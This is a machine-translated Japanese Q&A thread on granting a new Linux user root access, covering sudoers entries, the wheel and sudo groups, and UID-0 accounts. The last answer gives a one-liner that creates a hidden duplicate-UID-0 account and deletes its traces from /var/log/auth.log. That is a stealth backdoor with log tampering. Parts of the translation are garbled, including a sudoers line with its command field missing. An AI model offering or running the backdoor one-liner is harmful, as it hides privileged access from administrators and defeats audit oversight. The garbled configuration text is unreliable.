新しいユーザーを追加し、その新しいユーザーにすべてのルートアクセス権を付与/付与したいのですが、どうすればよいですか?
私はやったsudo adduser --system testuser
が、これは期待どおりに機能していません。
手伝ってくれてありがとう。
新しいユーザーを追加し、その新しいユーザーにすべてのルートアクセス権を付与/付与したいのですが、どうすればよいですか?
私はやったsudo adduser --system testuser
が、これは期待どおりに機能していません。
手伝ってくれてありがとう。
回答:
実際にこれを行うには、正しい方法、間違った方法、およびrightい方法の3つの方法があります。
まず、通常のユーザーアカウントを作成します。
adduser username
次に、次のいずれかを選択します。
次のようにグループのsudo
エントリを作成します。wheel
/etc/sudoers
## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
または、「最新」バージョンの場合:
## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL) ALL
次に、ユーザーをwheel
グループに追加します。管理権限を持つユーザーの追加と削除は、sudoにエントリを作成する代わりに、ユーザーをwheelに追加することを忘れない機能になりました。wheelを使用することの素晴らしい点は、グループをサポートする他の認証スキーム(winbind / Active Directoryなど)にこのメカニズムを拡張し、プロセスの利点を享受できることです。これを実現するには、ホイールを管理者権限を持つ認証スキーマ内のグループにマッピングします。
一部のディストリビューションは異なる管理アカウントを使用することに注意してください。ホイールは、これを「伝統的な」アプローチですが、発生する可能性があるadmin
、adm
と同じ目的を果たす他のグループアカウント。
フォローアップ編集:
Ubuntuがこの目的のためにグループとして使用していることを指摘したことで、Bart Silverstrimに指摘する必要がありadmin
ます。彼は最初にこれにたどり着きましたが、その時はUbuntuタグに気がつきませんでした。繰り返しますが、それはすべてあなたが使用しているディストリビューションに依存します。
問題のユーザーアカウントのsudoエントリを作成し、完全なアクセス権を付与します。繰り返しますが、次のようにエントリを作成します/etc/sudoers
。
## Allows just user "username" to run all commands as root
username ALL=(ALL) ALL
追加:## Ubuntuバージョンの場合:ユーザー名ALL =(ALL:ALL)
これは、通常のアカウントが1つ(または2つ)しかない場合に便利です。複数の(地質学的)サイトに100個のアカウントがあり、sudoファイルを常に維持する必要がある場合は、見苦しくなります。
/etc/passwd
ファイルを編集し、ユーザーアカウントIDを任意の番号からに変更できます0
。そう、ゼロ。
username:x:0:502::/home/username:/bin/bash
3番目のエントリがゼロとして表示されますか?そのアカウントにログインすると、あなたは、すべての効果的な目的のために、root
です。 これはお勧めしません。 自分が「誰」であるか覚えていない場合は、ファイルの作成とタッチを開始するときに、あらゆる種類の大混乱を作成できますroot
。ユーザー名をroot
グループに追加することもできます。これはファイルアクセスと同じ効果がありますが、他の問題が発生します。プログラムはあなたがユーザー root
ではないことに気付き、実行を拒否しますが、groupに 属するファイルにアクセスできますroot
。
これを行った場合vipw
、単にで編集する代わりにを使用しましたvi
か?(または、お好みのテキストエディターは何でも)結局のところ、このファイルの1つのタイプミスがシステムからあなたを締め出すことができます-そしてそれは、修復ディスクで問題のコンピューターに物理的に訪問することを意味します...
私は何年もこれを使用してきましたが、AskUbuntuにsudoerを追加する一番の推奨方法です:
adduser existinguser sudo
ファイルを編集するよりもはるかに簡単で、無人インストール用のシェルスクリプトを簡単に挿入できます。
ユーザーを作成してsudo権限を付与する場合は、次のように1行で実行できます。
useradd newuser -m -G sudo
passwd newuser
-m
ホームディレクトリを作成し-G
、補助グループを指定します。
「厄介で厄介な」方法は、新しいユーザーに対して/ etc / passwdを編集してUID = 0およびGID = 0にすることです。しかし、これは多くのセキュリティリスクをもたらします。彼がルートでもある場合、彼はあなたのaccontを無効にし、パスワードを変更し、あなたを「標準ユーザー」にするかもしれないことを知っていますか?なぜ彼に自分のアカウントを渡さないのですか?
ほんのいくつかのコマンドに対してrootアクセスを許可したい場合は、suid(http://en.wikipedia.org/wiki/Setuid)がどのように機能するかを調べることができます。
ライナーは次のとおりです。
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
ベスト、